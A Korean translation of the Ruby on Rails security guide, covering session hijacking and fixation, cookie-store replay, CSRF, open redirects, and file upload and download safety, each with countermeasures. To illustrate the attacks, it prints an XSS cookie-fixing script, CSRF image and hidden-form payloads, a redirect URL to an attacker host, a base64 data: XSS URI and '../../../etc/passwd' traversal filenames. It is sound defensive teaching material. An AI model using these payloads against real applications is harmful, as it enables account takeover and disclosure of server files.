Rails 애플리케이션 보안

이 매뉴얼은 웹 애플리케이션의 일반적인 보안 문제와 Rails로 이를 회피하는 방법을 설명합니다.

이 가이드를 읽고 나면 다음을 알게 될 것입니다:

  • 강조된 모든 대응책.
  • Rails의 세션 개념, 세션에 무엇을 넣어야 하는지, 그리고 일반적인 공격 방법.
  • 단순히 사이트를 방문하는 것이 보안 문제가 될 수 있다는 것(CSRF와 함께).
  • 파일 작업 또는 관리 인터페이스 제공 시 주의해야 할 사항.
  • 사용자 관리: 로그인/로그아웃, 모든 계층의 공격 방법.
  • 가장 일반적인 주입 공격 방법.

소개

웹 애플리케이션 프레임워크는 개발자들이 웹 애플리케이션을 구축하는 것을 돕습니다. 일부 프레임워크는 웹 애플리케이션 보안에도 도움을 줍니다. 사실 한 프레임워크가 다른 프레임워크보다 더 안전하지는 않습니다: 올바르게 사용한다면 많은 프레임워크로 안전한 앱을 구축할 수 있습니다. Ruby on Rails에는 SQL 주입 방지 등의 유용한 헬퍼 메서드가 있어 이 문제는 거의 없습니다.

일반적으로 플러그 앤 플레이 방식의 보안은 없습니다. 보안은 프레임워크를 사용하는 사람들과 때로는 개발 방법에 달려 있습니다. 그리고 웹 애플리케이션 환경의 모든 계층에 달려 있습니다: 백엔드 스토리지, 웹 서버, 웹 애플리케이션 자체(그리고 때로는 다른 계층 또는 애플리케이션).

그러나 Gartner 그룹은 공격의 75%가 웹 애플리케이션 계층에서 발생한다고 추정하며, 300개의 감사된 사이트 중 97%가 공격에 취약하다는 것을 발견했습니다. 이는 웹 애플리케이션이 상대적으로 쉽게 공격될 수 있기 때문입니다. 일반인도 이해하고 조작할 수 있습니다.

웹 애플리케이션에 대한 위협에는 사용자 계정 탈취, 접근 제어 우회, 중요 데이터 읽기 또는 수정, 사기성 콘텐츠 표시 등이 포함됩니다. 또한 공격자가 트로이 목마 프로그램이나 스팸 메일 발송 소프트웨어를 설치하거나, 재정적 이득을 노리거나, 회사 리소스를 변경하여 브랜드 이미지 손상을 초래할 수 있습니다. 공격을 방지하고 영향을 최소화하며 공격 지점을 제거하려면 먼저 공격 방법을 완전히 이해해야 합니다. 이것이 이 가이드의 목적입니다.

안전한 웹 애플리케이션을 개발하려면 모든 계층을 최신 상태로 유지하고 적들을 알아야 합니다. 보안 메일링 리스트를 구독하고 보안 블로그를 읽으며 업데이트와 보안 점검을 습관화하세요(추가 리소스 장 참조). 논리적 보안 문제를 찾으려면 수동으로 해야 합니다.

세션

이 장에서는 세션과 관련된 특정 공격과 세션 데이터를 보호하기 위한 보안 조치를 설명합니다.

세션이란?

정보: 세션을 통해 애플리케이션은 사용자별 상태를 유지할 수 있습니다. 예를 들어 사용자가 한 번 인증되면 향후 요청에서도 로그인된 상태를 유지할 수 있습니다.

대부분의 애플리케이션은 상호 작용하는 사용자의 상태를 추적해야 합니다. 이는 장바구니의 내용물이나 현재 로그인된 사용자의 사용자 ID일 수 있습니다. 이러한 사용자별 상태는 세션에 저장될 수 있습니다.

Rails는 애플리케이션에 접근하는 각 사용자에 대해 세션 객체를 제공합니다. 사용자에게 이미 활성 세션이 있는 경우 Rails는 기존 세션을 사용합니다. 그렇지 않으면 새 세션을 생성합니다.

참고: 세션 사용 방법에 대해 자세히 알아보려면 Action Controller 개요 가이드를 읽어보세요.

세션 하이재킹

경고: 사용자의 세션 ID를 훼손하면 공격자가 웹 애플리케이션을 피해자의 이름으로 사용할 수 있습니다.

많은 웹 애플리케이션에는 인증 시스템이 있습니다: 사용자가 사용자 이름과 비밀번호를 제공하면 웹 애플리케이션이 이를 확인하고 해당 사용자 ID를 세션 해시에 저장합니다. 이제 세션이 유효합니다. 모든 요청에서 애플리케이션은 세션에 있는 사용자 ID를 통해 사용자를 로드하며, 새로운 인증이 필요하지 않습니다. 세션 ID가 포함된 쿠키가 임시 인증 수단입니다.

따라서 쿠키는 웹 애플리케이션에 대한 임시 인증 수단입니다. 누군가 다른 사람의 쿠키를 가로채면 웹 애플리케이션을 그 사용자로 사용할 수 있습니다 - 심각한 결과를 초래할 수 있습니다. 다음은 세션 하이재킹 방법과 대응책입니다:

  • 안전하지 않은 네트워크에서 쿠키를 스니핑합니다. 무선 LAN이 그런 네트워크의 예입니다. 암호화되지 않은 무선 LAN에서는 연결된 모든 클라이언트의 트래픽을 엿듣기 쉽습니다. 웹 애플리케이션 개발자는 SSL을 통해 안전한 연결을 제공해야 합니다. Rails 3.1 이상에서는 애플리케이션 구성 파일에서 SSL 연결을 항상 강제할 수 있습니다:

    config.force_ssl = true
    
  • 대부분의 사람들은 공용 터미널에서 작업한 후 쿠키를 지우지 않습니다. 따라서 마지막 사용자가 웹 애플리케이션에서 로그아웃하지 않으면 다른 사람이 그 사용자로 사용할 수 있습니다. 웹 애플리케이션에 눈에 띄는 로그아웃 버튼을 제공하세요.

  • 많은 크로스 사이트 스크립팅(XSS) 익스플로잇은 사용자의 쿠키를 얻는 것을 목표로 합니다. XSS에 대해 더 자세히 알아보세요.

  • 알려진 세션 식별자(쿠키에 있는)를 고정하는 대신 공격자가 알 수 없는 세션 식별자를 훼손하는 것이 세션 고정 공격입니다. 이에 대해서는 나중에 자세히 설명합니다.

세션 저장

참고: Rails는 기본적으로 ActionDispatch::Session::CookieStore를 세션 저장소로 사용합니다.

팁: 다른 세션 저장소에 대해 자세히 알아보려면 Action Controller 개요 가이드를 참고하세요.

Rails의 CookieStore는 클라이언트 측에 쿠키로 세션 해시를 저장합니다. 서버는 쿠키에서 세션 해시를 가져오며 세션 ID가 필요하지 않습니다. 이렇게 하면 애플리케이션 속도가 크게 향상되지만, 보안 영향과 저장 제한에 대해 고려해야 합니다:

  • 쿠키는 4KB 크기 제한이 있습니다. 세션에 관련된 데이터만 쿠키에 저장하세요.

  • 쿠키는 클라이언트 측에 저장됩니다. 클라이언트는 만료된 쿠키의 내용도 보존할 수 있습니다. 클라이언트는 쿠키를 다른 기기로 복사할 수 있습니다. 중요한 데이터는 쿠키에 저장하지 마세요.

  • 쿠키는 본질적으로 임시적입니다. 서버는 쿠키의 만료 시간을 설정할 수 있지만, 클라이언트가 쿠키와 그 내용을 만료 전에 삭제할 수 있습니다. 더 영구적인 성격의 모든 데이터는 서버 측에 저장하세요.

  • 세션 쿠키는 자동으로 만료되지 않으며 악의적으로 재사용될 수 있습니다. 이전 세션 쿠키를 저장된 타임스탬프를 사용하여 무효화하는 것이 좋습니다.

CookieStoreencrypted 쿠키 저장소를 사용하여 쿠키 내용을 암호화합니다. 클라이언트는 암호화를 깨트리지 않고는 쿠키 내용을 읽거나 편집할 수 없습니다. 비밀 키를 적절히 관리한다면 쿠키를 일반적으로 안전하다고 간주할 수 있습니다.

CookieStore는 세션 데이터를 안전하고 암호화된 위치에 저장하는 encrypted 쿠키 저장소를 사용합니다. 따라서 쿠키 기반 세션은 내용의 무결성과 기밀성을 제공합니다. 암호화 키와 signed 쿠키에 사용되는 검증 키는 secret_key_base 구성 값에서 파생됩니다.

팁: 비밀 키는 길고 무작위여야 합니다. bin/rails secret을 사용하여 새 고유 비밀 키를 얻으세요.

정보: 자격 증명 관리에 대해 나중에 자세히 알아보세요

암호화된 쿠키와 서명된 쿠키에 대한 소금 값을 다르게 사용하는 것도 중요합니다. 동일한 소금 구성 값을 다른 보안 기능에 사용하면 키 강도가 약해질 수 있습니다.

테스트 및 개발 애플리케이션은 앱 이름에서 파생된 secret_key_base를 사용합니다. 다른 환경에서는 config/credentials.yml.enc에 있는 무작위 키를 사용해야 합니다. 여기 해독된 상태로 표시됩니다:

secret_key_base: 492f...

경고: 애플리케이션의 비밀이 노출되었을 수 있다면 강력히 변경하는 것이 좋습니다. secret_key_base를 변경하면 현재 활성 세션이 만료되고 모든 사용자가 다시 로그인해야 합니다. 세션 데이터 외에도 암호화된 쿠키, 서명된 쿠키, Active Storage 파일에도 영향을 줄 수 있습니다.

암호화암호화된 쿠키와 서명된 쿠키 구성 회전

회전은 쿠키 구성을 변경하고 기존 쿠키가 즉시 무효화되지 않도록 하는 데 이상적입니다. 그러면 사용자가 사이트를 방문하고 이전 구성으로 쿠키를 읽어 새 구성으로 다시 작성할 수 있습니다. 사용자가 쿠키를 업그레이드할 기회를 충분히 가진 후에는 회전을 제거할 수 있습니다.

암호화된 쿠키와 서명된 쿠키에 사용되는 암호화 및 다이제스트를 회전하는 것이 가능합니다.

예를 들어 서명된 쿠키에 사용되는 다이제스트를 SHA1에서 SHA256으로 변경하려면 먼저 새 구성 값을 할당합니다:

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

이제 기존 SHA1 다이제스트에 대한 회전을 추가하여 기존 쿠키를 원활하게 SHA256 다이제스트로 업그레이드합니다.

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

그러면 작성된 모든 서명된 쿠키가 SHA256으로 다이제스트됩니다. SHA1로 작성된 이전 쿠키는 여전히 읽을 수 있으며 액세스하면 새 다이제스트로 다시 작성되어 제거 시 무효화되지 않습니다.

SHA1 다이제스트 서명 쿠키를 가진 사용자가 더 이상 쿠키를 다시 작성할 기회가 없어지면 회전을 제거할 수 있습니다.

언제든 원하는 만큼 많은 회전을 설정할 수 있지만, 동시에 많은 회전을 유지하는 것은 일반적이지 않습니다.

암호화된 메시지와 서명된 메시지의 키 회전에 대한 자세한 내용과 rotate 메서드가 허용하는 다양한 옵션은 MessageEncryptor APIMessageVerifier API 문서를 참조하세요.

CookieStore 세션의 재생 공격

팁: CookieStore를 사용할 때 주의해야 할 또 다른 공격은 재생 공격입니다.

작동 방식은 다음과 같습니다:

  • 사용자가 크레딧을 받고, 금액이 세션에 저장됩니다(이는 나쁜 아이디어지만 시연 목적으로 이렇게 하겠습니다).
  • 사용자가 무언가를 구매합니다.
  • 조정된 크레딧 값이 세션에 저장됩니다.
  • 사용자는 첫 번째 단계의 쿠키(이전에 복사한)를 가져와 현재 브라우저의 쿠키를 대체합니다.
  • 사용자는 원래 크레딧을 다시 가지게 됩니다.

세션에 난수(nonce)를 포함하면 재생 공격을 해결할 수 있습니다. 난수는 한 번만 유효하며 서버는 모든 유효한 난수를 추적해야 합니다. 여러 애플리케이션 서버가 있는 경우 더 복잡해집니다. 난수를 데이터베이스 테이블에 저장하면 CookieStore의 전체 목적(데이터베이스 액세스 방지)을 무효화합니다.

이에 대한 최선의 해결책은 이런 종류의 데이터를 세션이 아닌 데이터베이스에 저장하는 것입니다. 이 경우 크레딧을 데이터베이스에 저장하고 `loggedinuserid`를 세션에 저장하세요._

세션 고정

참고: 세션 ID를 훼손하는 것 외에도 공격자는 알려진 세션 ID를 고정할 수 있습니다. 이를 세션 고정이라고 합니다.

세션 고정

이 공격은 공격자가 알고 있는 세션 ID를 고정하고 사용자의 브라우저가 이 ID를 사용하도록 강제하는 것에 초점을 맞춥니다. 따라서 공격자가 세션 ID를 나중에 훼손할 필요가 없습니다. 이 공격의 작동 방식은 다음과 같습니다:

  • 공격자는 유효한 세션 ID를 생성합니다: 공격하려는 웹 애플리케이션의 로그인 페이지를 로드하고 응답의 세션 ID 쿠키를 가져옵니다(이미지의 1번과 2번 참조).
  • 세션이 만료되지 않도록 정기적으로 웹 애플리케이션에 액세스하여 세션을 유지합니다.
  • 공격자는 사용자의 브라우저가 이 세션 ID를 사용하도록 강제합니다(이미지의 3번 참조). 동일한 도메인의 쿠키를 변경할 수 없기 때문에(동일 출처 정책 때문에) 공격자는 대상 웹 애플리케이션의 도메인에서 JavaScript를 주입해야 합니다. XSS를 통해 애플리케이션에 JavaScript 코드를 주입하면 이 공격을 수행할 수 있습니다. 예: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>. XSS와 주입에 대해 자세히 알아보세요.
  • 공격자는 JavaScript 코드가 포함된 페이지로 피해자를 유도합니다. 페이지를 보면 피해자의 브라우저가 함정 세션 ID로 세션 ID를 변경합니다.
  • 새 함정 세션은 사용되지 않았으므로 웹 애플리케이션에서 사용자를 인증해야 합니다.
  • 이제 피해자와 공격자가 동일한 세션을 공동 사용하게 됩니다: 세션이 유효해졌고 피해자는 공격을 인지하지 못했습니다.

세션 고정 - 대응책

팁: 한 줄의 코드로 세션 고정으로부터 보호할 수 있습니다.

가장 효과적인 대응책은 성공적인 로그인 후 새 세션 식별자를 발급하고 이전 식별자를 무효화하는 것입니다. 그러면 공격자가 고정된 세션 식별자를 사용할 수 없습니다. 이는 세션 하이재킹에 대한 좋은 대응책이기도 합니다. Rails에서 새 세션을 생성하는 방법은 다음과 같습니다:

reset_session

사용자 관리를 위해 널리 사용되는 Devise 젬을 사용하는 경우 로그인 및 로그아웃 시 세션이 자동으로 만료됩니다. 직접 구현하는 경우 로그인 액션(세션이 생성될 때) 후에 세션을 만료해야 합니다. 이 경우 새 세션으로 값을 전송해야 합니다.

다른 대응책은 세션에 사용자별 속성을 저장하고, 요청이 올 때마다 이를 확인하며, 정보가 일치하지 않으면 액세스를 거부하는 것입니다. 이러한 속성은 원격 IP 주소나 사용자 에이전트(웹 브라우저 이름)일 수 있습니다. 그러나 후자는 사용자별이지 않습니다. IP 주소를 저장할 때는 ISP나 대규모 조직이 사용자를 프록시 뒤에 두는 경우를 고려해야 합니다. 이러한 경우 세션 중에 변경될 수 있으므로 사용자가 애플리케이션을 사용할 수 없거나 제한적으로만 사용할 수 있습니다.

세션 만료

참고: 만료되지 않는 세션은 CSRF(Cross-Site Request Forgery), 세션 하이재킹, 세션 고정 등의 공격 시간 프레임을 연장합니다.

한 가지 방법은 쿠키의 세션 ID에 만료 타임스탬프를 설정하는 것입니다. 그러나 클라이언트가 웹 브라우저에 저장된 쿠키를 편집할 수 있으므로 서버에서 세션을 만료하는 것이 더 안전합니다. 데이터베이스 테이블에서 세션을 만료하는 예는 다음과 같습니다. Session.sweep(20.minutes)를 호출하면 20분 전에 사용된 세션이 만료됩니다.

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end

세션 고정 섹션에서는 유지된 세션의 문제를 소개했습니다. 공격자가 5분마다 세션을 유지하면 세션을 영원히 유지할 수 있습니다. 이 문제를 해결하기 위해 created_at 열을 세션 테이블에 추가할 수 있습니다. 이제 오래전에 생성된 세션을 삭제할 수 있습니다. 위의 sweep 메서드에 다음 줄을 추가하세요:

where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all

크로스 사이트 요청 위조(CSRF)

이 공격 방식은 인증된 사용자가 가지고 있는 웹 애플리케이션에 대한 권한을 악용하여 실행됩니다. 사용자의 세션이 만료되지 않은 경우 공격자는 승인되지 않은 명령을 실행할 수 있습니다.

크로스 사이트 요청 위조

세션 장에서 배운 것처럼 대부분의 Rails 애플리케이션은 쿠키 기반 세션을 사용합니다. 세션 ID를 쿠키에 저장하고 서버 측 세션 해시를 가지거나, 전체 세션 해시를 클라이언트 측에 저장합니다. 어느 경우든 브라우저는 자동으로 도메인에 대한 쿠키를 보냅니다. 문제는 요청이 다른 도메인에서 오더라도 쿠키를 보낸다는 것입니다. 예를 들어:

  • Bob은 게시판을 탐색하다가 해커가 작성한 게시물을 보게 됩니다. 게시물에는 Bob의 프로젝트 관리 애플리케이션의 명령을 참조하는 악성 HTML 이미지 요소가 포함되어 있습니다: <img src="http://www.webapp.com/project/1/destroy">
  • Bob의 www.webapp.com 세션은 몇 분 전에 로그아웃하지 않아 여전히 활성 상태입니다.
  • 게시물을 보면 브라우저에서 이미지 태그를 찾습니다. 그리고 www.webapp.com에서 의심되는 이미지를 로드하려 합니다. 앞서 설명한 대로 유효한 세션 ID가 포함된 쿠키도 함께 보냅니다.
  • www.webapp.com의 웹 애플리케이션은 해당 세션 해시의 사용자 정보를 확인하고 ID가 1인 프로젝트를 삭제합니다. 그런 다음 예상치 못한 결과 페이지를 반환하므로 브라우저는 이미지를 표시하지 않습니다.
  • Bob은 공격을 인지하지 못하지만 며칠 후 프로젝트 번호 1이 삭제되어 있음을 발견합니다.

악성 이미지나 링크가 웹 애플리케이션 도메인에 있지않아도 된다는 점에 유의해야 합니다. 포럼, 블로그 게시물, 이메일 등 어디에나 있을 수 있습니다.

CSRF는 CVE(Common Vulnerabilities and Exposures)에 매우 드물게 나타납니다 - 2006년에는 0.1% 미만이었습니다. 그러나 이는 ‘잠자는 거인’[Grossman]입니다. 이는 많은 보안 계약 작업의 결과와 대조적입니다 - CSRF는 중요한 보안 문제입니다.

CSRF 대응책

참고: 먼저 W3C에서 요구하는 대로 GET과 POST를 적절히 사용하세요. 둘째, 비 GET 요청에 보안 토큰을 사용하면 애플리케이션을 CSRF로부터 보호할 수 있습니다.

GET과 POST 적절히 사용하기

HTTP 프로토콜은 기본적으로 GET과 POST 두 가지 유형의 요청을 제공합니다(DELETE, PUT, PATCH는 POST와 같이 사용해야 합니다). 월드 와이드 웹 컨소시엄(W3C)은 HTTP GET 또는 POST 선택을 위한 체크리스트를 제공합니다:

GET 사용 시:

  • 상호 작용이 질문과 유사한 경우(즉, 쿼리, 읽기 작업 또는 조회와 같은 안전한 작업).

POST 사용 시:

  • 상호 작용이 주문과 유사한 경우, 또는
  • 사용자가 인식할 수 있는 방식으로 리소스의 상태를 변경하는 경우(예: 서비스 구독), 또는
  • 사용자가 상호 작용의 결과에 책임을 지는 경우.

웹 애플리케이션이 RESTful인 경우 PATCH, PUT, DELETE 등의 추가 HTTP 동사에 익숙할 수 있습니다. 그러나 일부 레거시 웹 브라우저는 GET과 POST만 지원합니다 - Rails는 숨겨진 _method 필드를 사용하여 이 경우를 처리합니다.

POST 요청도 자동으로 전송될 수 있습니다. 이 예에서는 브라우저의 상태 표시줄에 www.harmless.com이 대상으로 표시됩니다. 그러나 실제로는 POST 요청을 보내는 새 폼을 동적으로 생성했습니다.

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">무해한 설문조사로</a>

또는 공격자가 이미지의 onmouseover 이벤트 핸들러에 코드를 배치할 수 있습니다:

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

JSONP 또는 JavaScript 응답을 사용하여 크로스 사이트 요청을 하는 <script> 태그 등 다른 가능성도 많습니다. 응답은 실행 가능한 코드이므로 공격자가 somehow 실행할 수 있어 중요 데이터가 유출될 수 있습니다. 이 데이터 유출을 방지하려면 크로스 사이트 <script> 태그를 허용하지 않아야 합니다. 그러나 Ajax 요청은 브라우저의 동일 출처 정책(자신의 사이트만 XmlHttpRequest 초기화 허용)을 준수하므로 JavaScript 응답을 안전하게 허용할 수 있습니다.

참고: <script> 태그의 출처를 구분할 수 없습니다. 자신의 사이트에 있는 안전한 동일 출처 스크립트인지 다른 악성 사이트의 것인지 구분할 수 없습니다. 따라서 모든 <script> 태그를 차단해야 합니다. 이 경우 <script> 태그에 제공되는 JavaScript를 서비스하는 작업에 대해서는 CSRF 보호를 명시적으로 건너뛰어야 합니다.

필수 보안 토큰

다른 위조 요청을 방지하기 위해 자신의 사이트만 알고 있는 필수 보안 토큰을 도입합니다. 요청에 토큰을 포함하고 서버에서 확인합니다. 이는 config.action_controller.default_protect_from_forgerytrue로 설정되어 있는 경우(새로 생성된 Rails 애플리케이션의 기본값) 자동으로 수행됩니다. 또한 다음과 같이 수동으로 수행할 수 있습니다:

protect_from_forgery with: :exception

이렇게 하면 Rails에서 생성한 모든 폼에 보안 토큰이 포함됩니다. 보안 토큰이 일치하지 않으면 예외가 발생합니다.

Turbo로 폼을 제출할 때도 보안 토큰이 필요합니다. Turbo는 애플리케이션 레이아웃의 csrf meta 태그에서 토큰을 찾아 X-CSRF-Token 요청 헤더에 추가합니다. 이러한 meta 태그는 csrf_meta_tags 헬퍼 메서드로 생성됩니다:

<head>
  <%= csrf_meta_tags %>
</head>

이 결과는 다음과 같습니다:

<head>
  <meta name="csrf-param" content="authenticity_token" />
  <meta name="csrf-token" content="THE-TOKEN" />
</head>

JavaScript에서 직접 비 GET 요청을 할 때도 보안 토큰이 필요합니다. Rails Request.JS는 필요한 요청 헤더를 추가하는 로직을 캡슐화한 JavaScript 라이브러리입니다.

다른 라이브러리를 사용하여 Ajax 호출을 하는 경우 보안 토큰을 직접 기본 헤더로 추가해야 합니다. meta 태그에서 토큰을 가져오려면 다음과 같이 할 수 있습니다:

document.head.querySelector("meta[name=csrf-token]")?.content

지속적인 쿠키 지우기

사용자 정보를 저장하기 위해 cookies.permanent와 같은 지속적인 쿠키를 사용하는 것이 일반적입니다. 이 경우 쿠키가 지워지지 않으므로 기본 제공 CSRF 보호가 효과적이지 않습니다. 세션과 다른 쿠키 저장소를 사용하는 경우 직접 처리해야 합니다:

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # 사용자 쿠키를 삭제하는 예제 메서드
end

위 메서드는 ApplicationController에 배치할 수 있으며, CSRF 토큰이 없거나 비 GET 요청에 잘못된 경우 호출됩니다.

크로스 사이트 스크립팅(XSS) 취약점은 모든 CSRF 보호를 우회한다는 점에 유의하세요. XSS를 통해 공격자는 페이지의 모든 요소에 액세스할 수 있으므로 CSRF 보안 토큰을 읽거나 폼을 직접 제출할 수 있습니다. XSS에 대해 자세히 알아보세요.

리디렉션과 파일

리디렉션과 파일 사용과 관련된 또 다른 보안 취약점 클래스가 있습니다.

리디렉션

경고: 웹 애플리케이션의 리디렉션은 과소평가된 해커 도구입니다: 공격자는 사용자를 함정 웹사이트로 전달할 뿐만 아니라 자체 공격을 수행할 수 있습니다.

사용자가 리디렉션 URL의 일부를 전달할 수 있는 경우 취약할 수 있습니다. 가장 명확한 공격은 사용자를 가짜 웹 애플리케이션으로 리디렉션하여 원래 웹 애플리케이션과 똑같이 보이게 하는 피싱 공격입니다. 이메일로 의심스럽지 않은 링크를 보내거나, XSS를 통해 링크를 주입하거나, 외부 사이트에 링크를 게시하면 됩니다. 의심스럽지 않은 이유는 링크가 웹 애플리케이션의 URL로 시작하고 악성 사이트의 URL이 리디렉션 매개변수에 숨겨져 있기 때문입니다: http://www.example.com/site/redirect?to=www.attacker.com. 다음은 레거시 액션의 예:

def legacy
  redirect_to(params.update(action: 'main'))
end

이 코드는 사용자가 레거시 액션에 액세스하려고 하면 메인 액션으로 리디렉션합니다. 의도는 레거시 액션의 URL 매개변수를 유지하고 메인 액션으로 전달하는 것이었습니다. 그러나 공격자가 URL에 호스트 키를 포함하면 악용될 수 있습니다:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

URL 끝에 있으면 거의 눈에 띄지 않고 사용자를 attacker.com 호스트로 리디렉션합니다. 일반적인 규칙은 사용자 입력을 redirect_to에 직접 포함하는 것은 위험하다는 것입니다. 간단한 대응책은 레거시 액션에 예상되는 매개변수만 포함하는 것입니다(제거 대신 허용 목록 접근 방식). 리디렉션 URL을 확인할 때는 허용 목록이나 정규식을 사용하세요.

자체 포함 XSS

리디렉션과 자체 포함 XSS 공격의 또 다른 예는 Firefox와 Opera에서 데이터 프로토콜을 사용하는 것입니다. 이 프로토콜은 브라우저에서 직접 콘텐츠를 표시할 수 있으며, HTML, JavaScript, 심지어 이미지까지 포함할 수 있습니다:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

이 예는 간단한 메시지 박스를 표시하는 Base64로 인코딩된 JavaScript입니다. 리디렉션 URL에서 공격자는 이 악성 코드가 포함된 URL로 리디렉션할 수 있습니다. 대응책은 사용자가 리디렉션될 URL을 제공하지 못하게 하는 것입니다.

파일 업로드

참고: 파일 업로드가 중요 파일을 덮어쓰지 않도록 하고 미디어 파일은 비동기적으로 처리하세요.

많은 웹 애플리케이션은 사용자가 파일을 업로드할 수 있게 합니다. 사용자가 선택할 수 있는 파일 이름은 항상 필터링해야 합니다. 공격자가 악성 파일 이름을 사용하여 서버의 중요 파일을 덮어쓸 수 있기 때문입니다. 파일 업로드를 /var/www/uploads에 저장하고 사용자가 “../../../etc/passwd"와 같은 파일 이름을 입력하면 중요 파일을 덮어쓸 수 있습니다. 물론 Ruby 인터프리터에게 이를 수행할 수 있는 적절한 권한이 필요합니다 - Unix 사용자로 웹 서버, 데이터베서버 및 기타 프로그램을 실행하는 또 다른 이유입니다.

사용자 입력 파일 이름을 필터링할 때는 악성 부분을 제거하려 하지 마세요. 웹 애플리케이션이 파일 이름에서 ”../“를 모두 제거하고 공격자가 ”….//“와 같은 문자열을 사용하는 상황을 생각해 보세요 - 결과는 ”../“가 됩니다. 허용 목록 접근 방식을 사용하여 허용된 문자로만 유효한 파일 이름을 확인하는 것이 가장 좋습니다. 이는 허용되지 않은 문자를 제거하려는 제한 목록 접근 방식과 반대됩니다. 유효한 파일 이름이 아닌 경우 거부(또는 허용되지 않은 문자 대체)하되 제거하지 마세요. 다음은 attachment_fu 플러그인의 파일 이름 sanitizer입니다:

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub!(/\A.*(\\|\/)/, '')
    # Finally, replace all non alphanumeric, underscore
    # or periods with underscore
    name.gsub!(/[^\w.-]/, '_')
  end
end

(attachment_fu 플러그인이 이미지와 같은 미디어 파일을 동기적으로 처리하는 것의) 중요한 단점은 서비스 거부 공격에 취약하다는 것입니다. 공격자가 여러 컴퓨터에서 동기적으로 이미지 파일 업로드를 시작하면 서버 부하가 증가하여 결국 서버가 중단되거나 정지될 수 있습니다.

이 문제의 해결책은 미디어 파일을 비동기적으로 처리하는 것입니다: 미디어 파일을 저장하고 데이터베이스에 처리 요청을 예약합니다. 별도의 프로세스가 백그라운드에서 파일 처리를 처리합니다.

업로드 파일의 실행 코드

경고: 업로드된 파일의 소스 코드가 특정 디렉토리에 배치되면 실행될 수 있습니다. Rails의 /public 디렉토리를 Apache의 홈 디렉토리로 사용하지 마세요.

인기 있는 Apache 웹 서버에는 DocumentRoot 옵션이 있습니다. 이는 웹사이트의 홈 디렉토리이며, 이 디렉토리 트리의 모든 것이 웹 서버에 의해 제공됩니다. 특정 파일 이름 확장자가 있는 파일이 있는 경우 요청 시 파일의 코드가 실행됩니다(일부 옵션 설정이 필요할 수 있음). 예로는 PHP와 CGI 파일이 있습니다. 이제 공격자가 "file.cgi"라는 파일을 업로드하고 코드가 포함되어 있어 누군가가 파일을 다운로드하면 실행된다고 생각해 보세요.

Apache의 DocumentRoot가 Rails의 /public 디렉토리를 가리키는 경우 파일 업로드를 여기에 두지 마세요. 최소한 한 단계 위의 디렉토리에 저장하세요.

파일 다운로드

참고: 사용자가 임의의 파일을 다운로드할 수 없도록 하세요.

업로드의 경우와 마찬가지로 다운로드할 파일 이름도 필터링해야 합니다. send_file() 메서드는 서버에서 클라이언트로 파일을 보냅니다. 사용자가 입력한 파일 이름을 필터링하지 않고 사용하면 모든 파일을 다운로드할 수 있습니다:

send_file('/var/www/uploads/' + params[:filename])

단순히 ”../../../etc/passwd"와 같은 파일 이름을 전달하면 서버의 로그인 정보를 다운로드할 수 있습니다. 이에 대한 간단한 해결책은 요청된 파일이 예상 디렉토리에 있는지 확인하는 것입니다:

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: 'inline'

또 다른(추가적인) 접근 방식은 파일 이름을 데이터베이스에 저장하고 디스크의 파일 이름을 데이터베이스의 ID로 지정하는 것입니다. 이렇게 하면 업로드된 파일의 코드가 실행되는 것을 방지할 수 있습니다. attachment_fu 플러그인도 이와 유사한 방식으로 작동합니다.

사용자 관리

참고: 거의 모든 웹 애플리케이션은 권한 부여와 인증을 다뤄야 합니다. 자체 개발하는 대신 일반적인 플러그인을 사용하는 것이 좋습니다. 그러나 이들도 최신 상태로 유지해야 합니다. 몇 가지 추가 예방 조치로 애플리케이션을 더 안전하게 만들 수 있습니다.

Rails에는 많은 인증 플러그인이 있습니다. 인기 있는 deviseauthlogic 등 좋은 플러그인은 일반 텍스트 비밀번호가 아닌 암호화된 해시된 비밀번호만 저장합니다. Rails 3.1부터는 내장된 has_secure_password 메서드를 사용할 수도 있습니다. 이 메서드는 안전한 비밀번호 해싱, 확인, 복구 메커니즘을 지원합니다.

계정 무차별 대입 공격

참고: 계정에 대한 무차별 대입 공격은 로그인 자격 증명에 대한 시행착오 공격입니다. 더 일반적인 오류 메시지와 필요한 경우 CAPTCHA 입력을 요구하여 이를 막으세요.

웹 애플리케이션의 사용자 이름 목록이 비밀번호 무차별 대입 공격에 악용될 수 있습니다. 대부분의 사람들은 복잡한 비밀번호를 사용하지 않기 때문입니다. 대부분의 비밀번호는 사전 단어와 숫자의 조합입니다. 따라서 사용자 이름 목록과 사전이 있으면 자동 프로그램이 몇 분 내에 올바른 비밀번호를 찾을 수 있습니다.

이 때문에 대부분의 웹 애플리케이션은 “사용자 이름 또는 비밀번호가 올바르지 않습니다"와 같은 일반적인 오류 메시지를 표시합니다. 그렇지 않으면 "입력한 사용자 이름을 찾을 수 없습니다"라고 하면 공격자가 사용자 이름 목록을 자동으로 컴파일할 수 있습니다.

그러나 대부분의 웹 애플리케이션 설계자가 간과하는 것은 비밀번호 찾기 페이지입니다. 이 페이지에서는 입력한 사용자 이름이나 이메일 주소를 찾았는지(또는 찾지 못했는지) 알려줍니다. 이를 통해 공격자가 사용자 이름 목록을 컴파일하고 계정을 무차별 대입할 수 있습니다.

